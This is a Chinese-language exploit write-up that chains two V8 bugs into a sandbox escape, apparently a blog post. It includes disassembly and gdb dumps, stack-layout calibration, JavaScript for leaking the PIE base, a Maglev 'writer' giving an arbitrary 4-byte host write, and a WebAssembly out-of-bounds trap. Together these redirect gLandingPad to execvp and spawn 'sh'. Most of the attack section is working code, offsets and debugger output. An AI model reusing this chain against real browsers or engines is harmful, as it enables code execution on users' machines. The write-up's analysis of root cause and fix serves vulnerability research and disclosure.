--print-maglev-code 里 maglev_fn 的关键指令(地址只保留低 32 位):
0x...11b7 movl rcx,[rax+0xb] ; obj.f1(真实偏移 0xC,tag 折进位移)
0x...11c0 movq r10,0x700012345679 ; target_float 的 bits
0x...11cf vaddsd xmm0,xmm0,xmm1 ; v1 = obj.f1 + target_float
0x...11d3 vmovsd [rbp-0x28],xmm0 ; v1 溢出到 [rbp-0x28]
0x...13d2 movl rcx,[rax+0x47] ; obj.target_obj
0x...14ef push rcx
0x...14f0 subq rsp,0x70
0x...14f4 vmovsd [rsp],xmm1 ; 保存 v2..v15(共 14 条同类指令)
0x...1551 call ToNumber
0x...15b0 pop rcx ; 正常路径:取回 target_obj
0x...13f0 movl [rcx+0xb],0x54 ; t.x = 42调用点真实 SP 是 rbp-0x110(push rcx + sub rsp,0x70);恢复点的 return_sp 是 rbp-0x98,高 0x78。异常恢复从 rbp-0x98 开始,pop rcx 读到的是 [rbp-0x28] = v1。v1 = obj.f1 + target_float,而 obj.f1 = 0.0,所以 rcx 就是 target_float 的 bits——一个完整的 64 位宿主地址。0x700012345679 是官方测试取值,实际 PoC 用 dblFromBits(LANDING + d - 0xB),每次运行都不同
gdb 现场:
pc = 0x5555b86c13f0
si_addr = 0x700012345684
=> 0x5555b86c13f0: mov DWORD PTR [rcx+0xb],0x54
rcx = 0x700012345679
rax = 0xf6 ; 抛出的 Smi 123(被当成 ToNumber 的返回值)
[rbp-0x28] = 0x0000700012345679 <- v1
[rbp-0x20] = 0x0000261a0107ae29 <- 真实 target_obj位移是 0xB 而不是 0xC:target_obj.x 的真实字段偏移是 0xC,但寄存器里放的是 tagged 指针,字段访问统一写成 [reg + 0xC - 1]。要让 t.s0 写到 A,t 这个 tagged 值必须是 A - 0xB。
到这里得到:
一个由全局 double 决定目标地址、由编译期常量决定写入值的 4 字节宿主写
两个缺陷的分工:580519552 提供"进入一个已标记 Code"的入口;422951610 提供"进入之后异常恢复不按预期 deopt"的行为,缺任何一个rcx 都拿不到 v1
6.4 第四步:地址任意、值预置,一个 writer 写 60 字节
这一步要回答两件事:地址能不能任意、值能不能任意。结论是:地址可以——改 target_float 的 bits;值只能预置——每个不同的值都要重编一个 writer。一个 writer 再用 15 个槽位把覆盖范围撑到 60 字节
地址只能放在全局 double 里。6.1 的 v1 = obj.f1 + target_float,而 obj.f1 = 0.0,所以 v1 的 bits 就是 target_float 的 bits;v1 又正好落在 [rbp-0x28],被恢复序列的 pop rcx 取走。如果改成把地址放进对象字段,恢复出的 rcx 是 cage_base | low32 的压缩指针,只能落在 4GB cage 内——这就是为什么地址必须走全局 double
载荷是 15 个 double 局部变量。调用点保存 v2..v15 需要 14 个 xmm 槽,加上 push rcx 正好 0x78;恢复点从 rbp-0x98 开始,xmm1..xmm14 读到的是 v15..v2(反序),pop rcx 落在 [rbp-0x28],即离 rbp 最近的 v1。改 double 数量会改变栈布局,必须重新标定
写入值必须编译期常量。t.sK = C 被编成 Smi 立即数(value << 1);用全局 Smi 或对象字段当"值",恢复后寄存器会互换,写进去的是 cage_base | map 之类的垃圾;用全局 double 又会走 vmovsd,不是 raw 地址写。所以每个不同的 4 字节值都要重编一个 writer,唯一硬约束是低字节为偶数;奇数低字节用移位窗口(在 A-1 处写 (0, b0, b1, b2))绕过
一个 writer 最多写 60 字节。s0..s14 对应槽位 0xB + 4k,覆盖 LANDING - 4 … LANDING + 55;本次运行只用到 s0(execvp 低 4 字节)和 s4("sh\0\0")。之所以只编一个 writer,是因为连续创建第 2、第 3 个时,%DeoptimizeFunction 会撞 Check failed: kind == DeoptimizeKind::kLazy——isolate 里残留上一次异常展开设置的 deoptimizer_lazy_throw_,eager deopt 的 CHECK 失败
所以这一步的本质是:地址每次运行都能换,值只能预先定。为了在"值固定"的前提下把 gLandingPad 和 "sh" 一次写完,PoC 只编一个 writer、一次覆盖 60 字节
6.5 第五步:改 gLandingPad,走 execvp
PIE 从 Builtins_ToNumber 的 instruction_start 反推:
function builtinCodeAddr(name) {
const id = Sandbox.getBuiltinNames().indexOf(name);
const off = Sandbox.getBuiltinCode(id) >>> 0;
const obj = off & ~1;
const lo = mem.getUint32(obj + 0x18, true);
const hi = mem.getUint32(obj + 0x1c, true);
return ((BigInt(hi) << 32n) | BigInt(lo)) & 0xFFFFFFFFFFFFn;
}
const PIE = (builtinCodeAddr('ToNumber') - 0x31A6300n) & ~0xFFFn;trap_handler::gLandingPad 在 .bss,记 LANDING = PIE + 0x3740700;OOB trap 后信号处理器把 *return_reg 设成它,sigreturn 直接跳过去:
符号 | 偏移(15.7.0 d8) |
|---|---|
|
|
|
|
|
|
gLandingPad 与 execvp@plt 只在低 3 字节不同(实测 diffBytes=0,1,2),在 4 个对齐网格 d ∈ {0,-1,-2,-3} 里挑一个能覆盖差异、且每个 dword 低字节为偶数的组合,同时把 "sh\0" 写进同一个 60 字节窗口(LANDING+0x11)。
trap 模块用 8 个 i64 参数做一次越界 load:
const tb = new WasmModuleBuilder();
tb.addMemory(1);
tb.exportMemoryAs('memory');
tb.addFunction('trap', makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64,
kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI32]))
.exportFunc()
.addBody([kExprI32Const, 0x7f, kExprI32LoadMem, 0, 0]);
const trapInst = tb.instantiate();
const trapFn = trapInst.exports.trap;
const wmem = trapInst.exports.memory;调用 trapFn(0,0,0,0,0,S,0,0):rdi = S("sh" 地址),rsi = wasm memory base,wasm 内存前 16 字节是 [S, NULL]。gLandingPad 已是 execvp@plt,sigreturn 后执行 execvp("sh", ["sh", NULL])
6.6 完整链路
① PIE 泄漏
② 编译唯一的 Maglev writer(常量 = 目标 dword),从 Map::dependent_code 取它的 CodeWrapper
③ %DeoptimizeFunction 标记该 Code;把两个 page 上同 map 的 CodeWrapper 的 +4 换成 Maglev handle
④ new WebAssembly.Instance(module) → 导出函数拿到 Maglev Code
bad(throwing_obj) → ToNumber 抛异常 → 已标记帧回到返回地址(SP 错位 0x78)
→ rcx = v1 = target_float 的 bits → 15 个 store
→ gLandingPad = execvp@plt,同时写入 "sh" 与 argv
⑤ trapFn(0,0,0,0,0,S,0,0) → wasm OOB trap → sigreturn → execvp("sh")总结
580519552 的问题不是"少了一个检查",而是把"决定执行哪段 trusted 代码"的权力放进了攻击者可写的 cage:缓存对象、缓存元素、元素里的 code_ 三层都在沙箱内。修复的做法是把缓存搬进 trusted space 并去掉 CodeWrapper 间接层
利用上真正难的不是换 Code,而是把"执行一段不该执行的代码"变成"可控写"。答案在异常展开:被标记的 Maglev 帧不会走 catch handler,而是回到原始返回地址交给 deoptimizer;此时 handler SP 与调用点 SP 差 0x78,恢复序列把 v1(由全局 double 决定的 64 位 bit 模式)塞进了 rcx。后面的 mov dword [rcx+0xB], imm32 就是宿主任意地址写
所以其实这是两个漏洞结合的利用,422951610只是增加了缓解措施而没有完全修复导致了可利用(不过也带来了约束,即必须启用--maglev-inline-api-calls这个flag)